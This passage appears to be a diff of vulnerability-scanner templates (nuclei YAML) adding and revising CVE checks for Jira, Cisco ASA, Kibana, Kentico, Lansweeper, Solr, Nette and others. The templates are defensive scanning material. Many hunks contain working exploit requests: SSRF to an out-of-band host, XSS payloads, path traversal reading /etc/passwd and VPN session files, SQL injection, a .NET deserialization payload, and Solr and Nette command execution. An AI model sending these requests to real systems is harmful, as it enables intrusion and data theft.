+          - "cf79ae6addba60ad018347359bd144d2"
+        part: body

cves/2017/CVE-2017-9506.yaml

@@ -9,14 +9,21 @@ info:
     - http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
     - https://ecosystem.atlassian.net/browse/OAUTH-344
     - https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3
-  tags: cve,cve2017,atlassian,jira,ssrf
+  tags: cve,cve2017,atlassian,jira,ssrf,oob
 
 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/plugins/servlet/oauth/users/icon-uri?consumerUri=https://ipinfo.io/json"
+  - raw:
+      - |
+        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
     matchers:
       - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
         words:
-          - "ipinfo.io/missingauth"
-        part: body
+          - "http"

cves/2018/CVE-2018-0101.yaml

@@ -1,62 +0,0 @@
-id: CVE-2018-0101
-
-info:
-  name: Cisco ASA Denial-of-Service # Leads to RCE
-  author: dwisiswant0
-  severity: critical
-  reference: https://www.exploit-db.com/exploits/43986
-  description: |
-    A vulnerability in the XML parser of Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated,
-    remote attacker to cause a reload of the affected system or to remotely execute code. It was also possible that
-    the ASA could stop processing incoming Virtual Private Network (VPN) authentication requests due to a low memory condition.
-  tags: cve,cve2018,cisco,dos,rce
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-        Content-Type: application/x-www-form-urlencoded
-        X-Aggregate-Auth: 1
-        X-Transcend-Version: 1
-        Accept-Encoding: identity
-        X-AnyConnect-Platform: linux-64
-        X-Support-HTTP-Auth: false
-        X-Pad: 0000000000000000000000000000000000000000
-
-        <?xml version="1.0" encoding="UTF-8"?>
-        <config-auth client="a" type="a" aggregate-auth-version="a">
-            <host-scan-reply>A</host-scan-reply>
-        </config-auth>
-
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-
-    req-condition: true
-    matchers-condition: and
-    matchers:
-      - type: dsl
-        dsl:
-          - "status_code_1 == 200"
-
-      - type: dsl
-        dsl:
-          - "status_code_2 == 500"
-          - "status_code_2 == 501"
-          - "status_code_2 == 502"
-          - "status_code_2 == 503"
-          - "status_code_2 == 504"
-        condition: or
-
-      - type: dsl
-        dsl:
-          - "status_code_3 == 200"
-        negative: true

cves/2018/CVE-2018-0296.yaml

@@ -11,12 +11,16 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    headers:
+      Accept-Encoding: deflate
+
     matchers-condition: and
     matchers:
       - type: word
         words:
           - "///sessions"
         part: body
+
       - type: status
         status:
           - 200

cves/2018/CVE-2018-10141.yaml

@@ -0,0 +1,32 @@
+id: CVE-2018-10141
+
+info:
+  name: GlobalProtect Login page XSS
+  author: dhiyaneshDk
+  description: GlobalProtect Portal Login page in Palo Alto Networks PAN-OS before 8.1.4 allows an unauthenticated attacker to inject arbitrary JavaScript or HTML.
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-10141
+  tags: globalprotect,xss,cve,cve2018,vpn
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x'
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'var valueUser = "j";-alert(1)-"x";'
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-12634.yaml

@@ -0,0 +1,29 @@
+id: CVE-2018-12634
+
+info:
+  name: Exposed CirCarLife System Log
+  author: geeknik
+  description: CirCarLife is an internet-connected electric vehicle charging station
+  reference: https://circontrol.com/
+  severity: medium
+  tags: cve,cve2018,scada,circontrol,circarlife,logs
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/html/log"
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        words:
+          - "user.debug"
+          - "user.info"
+          - "EVSE"
+        condition: and
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-13379.yaml

@@ -9,7 +9,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
+      - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
     matchers:
       - type: word
         words:

cves/2018/CVE-2018-17246.yaml

@@ -0,0 +1,33 @@
+id: CVE-2018-17246
+info:
+  name: Kibana Local File Inclusion
+  author: princechaddha
+  severity: high
+  description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
+    - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
+  tags: cve,cve2018,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "\"message\":\"An internal server error occurred\""
+        part: body
+
+      - type: word
+        words:
+          - "kbn-name"
+          - "application/json"
+          - "kibana"
+        condition: and
+        part: header
+      - type: status
+        status:
+          - 500

cves/2018/CVE-2018-8770.yaml

@@ -0,0 +1,27 @@
+id: CVE-2018-8770
+info:
+  name: Cobub Razor 0.8.0 Physical path Leakage Vulnerability
+  author: princechaddha
+  severity: medium
+  description: Physical path Leakage exists in Western Bridge Cobub Razor 0.8.0 via generate.php, controllers/getConfigTest.php, controllers/getUpdateTest.php, controllers/postclientdataTest.php, controllers/posterrorTest.php, controllers/posteventTest.php, controllers/posttagTest.php, controllers/postusinglogTest.php, fixtures/Controller_fixt.php, fixtures/Controller_fixt2.php, fixtures/view_fixt2.php, libs/ipTest.php, or models/commonDbfix.php in tests/.
+  reference: |
+    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770
+    - https://www.exploit-db.com/exploits/44495/
+  tags: cve,cve2018,cobub,razor,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tests/generate.php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Fatal error: Class 'PHPUnit_Framework_TestCase' not found in "
+          - "/application/third_party/CIUnit/libraries/CIUnitTestCase.php on line"
+        condition: and
+        part: header
+      - type: status
+        status:
+          - 200

cves/2019/CVE-2019-10068.yaml

@@ -0,0 +1,35 @@
+id: CVE-2019-10068
+
+info:
+  name: Kentico CMS Insecure Deserialization RCE
+  author: davidmckennirey
+  severity: critical
+  description: |
+    Searches for Kentico CMS installations that are vulnerable to a .NET deserialization vulnerability that could be exploited to achieve remote command execution. Credit to Manoj Cherukuri and Justin LeMay from Aon Cyber Solutions for discovery of the vulnerability.
+  tags: cve,cve2019,rce,deserialization,kentico,iis
+  reference: |
+    - https://www.aon.com/cyber-solutions/aon_cyber_labs/unauthenticated-remote-code-execution-in-kentico-cms/
+    - https://packetstormsecurity.com/files/157588/Kentico-CMS-12.0.14-Remote-Command-Execution.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-10068
+    - https://github.com/rapid7/metasploit-framework/pull/13107
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: "stagingTaskData=%3cSOAP-ENV%3aEnvelope%20xmlns%3axsi%3d%22http%3a//www.w3.org/2001/XMLSchema-instance%22%20xmlns%3axsd%3d%22http%3a//www.w3.org/2001/XMLSchema%22%20xmlns%3aSOAP-ENC%3d%22http%3a//schemas.xmlsoap.org/soap/encoding/%22%20xmlns%3aSOAP-ENV%3d%22http%3a//schemas.xmlsoap.org/soap/envelope/%22%20xmlns%3aclr%3d%22http%3a//schemas.microsoft.com/soap/encoding/clr/1.0%22%20SOAP-ENV%3aencodingStyle%3d%22http%3a//schemas.xmlsoap.org/soap/encoding/%22%3e%0a%20%20%3cSOAP-ENV%3aBody%3e%0a%20%20%20%20%3ca1%3aWindowsIdentity%20id%3d%22ref-1%22%20xmlns%3aa1%3d%22http%3a//schemas.microsoft.com/clr/nsassem/System.Security.Principal/mscorlib%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3db77a5c561934e089%22%3e%0a%20%20%20%20%20%20%3cSystem.Security.ClaimsIdentity.actor%20id%3d%22ref-2%22%20xmlns%3d%22%22%20xsi%3atype%3d%22xsd%3astring%22%3eAAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAALoXL2MgZWNobyBUVnFRQUFNQUFBQUVBQUFBLy84QUFMZ0FBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTZBQUFBQTRmdWc0QXRBbk5JYmdCVE0waFZHaHBjeUJ3Y205bmNtRnRJR05oYm01dmRDQmlaU0J5ZFc0Z2FXNGdSRTlUSUcxdlpHVXVEUTBLSkFBQUFBQUFBQUNUT1BEVzExbWVoZGRabm9YWFdaNkZyRVdTaGROWm5vVlVSWkNGM2xtZWhiaEdsSVhjV1o2RnVFYWFoZFJabm9YWFdaK0ZIbG1laFZSUnc0WGZXWjZGZzNxdWhmOVpub1VRWDVpRjFsbWVoVkpwWTJqWFdaNkZBQUFBQUFBQUFBQUFBQUFBQUFBQUFGQkZBQUJNQVFRQU81UnRTZ0FBQUFBQUFBQUE0QUFQQVFzQkJnQUFzQUFBQUtBQUFBQUFBQUNiaFFBQUFCQUFBQURBQUFBQUFFQUFBQkFBQUFBUUFBQUVBQUFBQUFBQUFBUUFBQUFBQUFBQUFHQUJBQUFRQUFBQUFBQUFBZ0FBQUFBQUVBQUFFQUFBQUFBUUFBQVFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFiTWNBQUhnQUFBQUFVQUVBeUFjQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU9EQkFBQWNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBREFBQURnQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTG5SbGVIUUFBQUJtcVFBQUFCQUFBQUN3QUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQVlDNXlaR0YwWVFBQTVnOEFBQURBQUFBQUVBQUFBTUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBRUF1WkdGMFlRQUFBRnh3QUFBQTBBQUFBRUFBQUFEUUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFEQUxuSnpjbU1BQUFESUJ3QUFBRkFCQUFBUUFBQUFFQUVBQUFBQUFBQUFBQUFBQUFBQVFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQLine truncated
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+
+      - type: word
+        words:
+          - 'System.InvalidCastException'
+          - 'System.Web.Services.Protocols.SoapException'
+        part: body
+        condition: and

cves/2019/CVE-2019-13462.yaml

@@ -0,0 +1,31 @@
+id: CVE-2019-13462
+
+info:
+  name: Lansweeper through 7.1.115.4 unauthenticated SQL injection
+  author: divya_mudgal
+  severity: critical
+  reference: https://www.nccgroup.com/ae/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
+  description: Lansweeper web application through 7.1.115.4 allows unauthenticated SQL injection via the "row" and "column" GET parameter to the /WidgetHandler.ashx?MethodName=Sort&ID=1&column=INJECTION&row=INJECTION URI.
+  tags: cve,cve2019,sqli,lansweeper
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "~lansweeperdb~"
+        part: body
+
+      - type: word
+        words:
+          - text/plain
+        part: header
+
+      - type: status
+        status:
+          - 500

cves/2019/CVE-2019-15859.yaml

@@ -0,0 +1,30 @@
+id: CVE-2019-15859
+
+info:
+  name: Socomec DIRIS Password Disclosure
+  author: geeknik
+  description: Password disclosure in the web interface on socomec DIRIS A-40 devices before 48250501 allows a remote attacker to get full access to a device via the /password.jsn URI.
+  reference: https://seclists.org/fulldisclosure/2019/Oct/10
+  severity: critical
+  tags: cve,cve2019,disclosure,socomec,diris,iot
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/password.jsn"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "text/json"
+        part: header
+      - type: word
+        words:
+          - "username"
+          - "password"
+        part: body
+        condition: and

cves/2019/CVE-2019-17270.yaml

@@ -8,10 +8,7 @@ info:
     - https://www.exploit-db.com/exploits/47760
     - https://nvd.nist.gov/vuln/detail/CVE-2019-17270
   description: |
-    Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication,
-    it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components
-    Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht
-    Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices
+    A vulnerability in Yachtcontrol makes it possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
   tags: rce,yachtcontrol,cve,cve2019
 
 requests:

cves/2019/CVE-2019-17382.yaml

@@ -6,12 +6,22 @@ info:
   severity: critical
   description: An issue was discovered in zabbix.php?action=dashboard.view&dashboardid=1 in Zabbix through 4.4. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
   reference: https://www.exploit-db.com/exploits/47467
-  tags: cve,cve2019,zabbix
+  tags: cve,cve2019,zabbix,fuzz
 
 requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/zabbix.php?action=dashboard.view&dashboardid=1'
+
+  - payloads:
+      ids: helpers/wordlists/numbers.txt
+
+    attack: sniper
+    threads: 50
+
+    raw:
+      - |
+        GET /zabbix.php?action=dashboard.view&dashboardid={{ids}} HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
+        Accept-Language: en-US,en;q=0.9
 
     matchers-condition: and
     matchers:

cves/2019/CVE-2019-17538.yaml

@@ -4,7 +4,7 @@ info:
   author: pussycat0x
   severity: high
   reference: https://github.com/shi-yang/jnoj/issues/53
-  tegs: cve.cve2019,jnoj,lfi
+  tags: cve.cve2019,jnoj,lfi
 
 requests:
   - raw:

cves/2019/CVE-2019-17558.yaml

@@ -4,7 +4,7 @@ info:
   author: pikpikcu & madrobot
   severity: critical
   refrense: https://nvd.nist.gov/vuln/detail/CVE-2019-17558
-  tags: cve,cve2019,apache,rce
+  tags: cve,cve2019,apache,rce,solr
 
 requests:
   - raw:
@@ -15,7 +15,7 @@ requests:
         Connection: close
 
       - |
-        POST /solr/§token§/config HTTP/1.1
+        POST /solr/{{collection}}/config HTTP/1.1
         Host: {{Hostname}}
         User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
@@ -37,7 +37,7 @@ requests:
         }
 
       - |
-        GET /solr/§token§/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ping%20example.com%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
+        GET /solr/{{collection}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27nslookup%20example.com%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
         Host: {{Hostname}}
         User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
@@ -47,16 +47,15 @@ requests:
 
     extractors:
       - type: regex
-        part: body
-        internal: true
-        name: token
-        group: 1
         regex:
-          - "\"name\":\"(.*)\""
+          - '"status"\:\{"(.*?)"\:\{"name"'
+        name: collection
+        group: 1
+        internal: true
 
     matchers:
       - type: word
         words:
-          - "Pinging example.com" # Windows
-          - "PING example.com"  # Linux
-        condition: or
+          - "Non-authoritative answer"
+          - "example.com"
+        condition: and

cves/2019/CVE-2019-8446.yaml

@@ -0,0 +1,32 @@
+id: CVE-2019-8446
+
+info:
+  name: Jira Improper Authorization
+  description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.
+  author: dhiyaneshDk
+  severity: medium
+  tags: cve,cve2019,jira
+
+requests:
+  - raw:
+      - |
+        POST /rest/issueNav/1/issueTable HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
+        Connection: Close
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
+        X-Atlassian-Token: no-check
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-US,en;q=0.9
+
+        {'jql':'project in projectsLeadByUser("{{randstr}}")'}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "the user does not exist"
+        part: body
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-1147.yaml

@@ -1,36 +0,0 @@
-id: CVE-2020-1147
-
-info:
-  name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
-  author: dwisiswant0
-  description: A remote code execution vulnerability exists in .NET Framework, Microsoft SharePoint, and Visual Studio when the software fails to check the source markup of XML file input, aka '.NET Framework, SharePoint Server, and Visual Studio Remote Code Execution Vulnerability'.
-  severity: critical
-  tags: cve,cve2020,sharepoint,iis,rce
-  reference: |
-    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1147
-    - https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/_layouts/15/listform.aspx?PageType=1&ListId=%7B13371337-1337-1337-1337-133713371337%7D"
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "List does not exist"
-          - "It may have been deleted by another user"
-        part: body
-        condition: and
-      - type: word
-        words:
-          - "Microsoft-IIS"
-          - "X-SharePointHealthScore"
-          - "SharePointError"
-          - "SPRequestGuid"
-          - "MicrosoftSharePointTeamServices"
-        condition: or
-        part: header
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-11738.yaml

@@ -11,8 +11,7 @@ info:
     versions v1.3.24 and v1.3.26, the vulnerability wasn't
     present in versions 1.3.22 and before.
 
-    References:
-    - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
+  reference: https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
   tags: cve,cve2020,wordpress,wp-plugin,lfi
 
 requests:

cves/2020/CVE-2020-11991.yaml

@@ -4,6 +4,7 @@ info:
   name: Apache Cocoon 2.1.12 XML Injection
   author: pikpikcu
   severity: high
+  tags: cve,cve2020,apache,xml,cocoon
   description: |
     When using the StreamGenerator, the code parse a user-provided XML. A specially crafted XML, including external system entities, could be used to access any file on the server system.
   reference: https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E

cves/2020/CVE-2020-13483.yaml

@@ -18,7 +18,7 @@ requests:
 
       - type: word
         words:
-          - "{alert(document.domain);}"
+          - "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
         part: body
 
       - type: word

cves/2020/CVE-2020-15227.yaml

@@ -0,0 +1,29 @@
+id: CVE-2020-15227
+
+info:
+  name: Nette Framework RCE
+  author: becivells
+  severity: high
+  description: Nette versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, 3.0.6 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE. Nette is a PHP/Composer MVC Framework.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2020-15227
+      - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
+      - https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#
+      - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
+  tags: cve,cve2020,nette,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-15500.yaml

@@ -11,7 +11,7 @@ info:
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/?key=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E'
+      - '{{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E'
 
     matchers-condition: and
     matchers:
@@ -26,5 +26,5 @@ requests:
 
       - type: word
         words:
-          - '"><script>alert(document.domain);</script>'
+          - "'>\"<svg/onload=confirm('xss')>"
         part: body

cves/2020/CVE-2020-19625.yaml

@@ -1,3 +1,4 @@
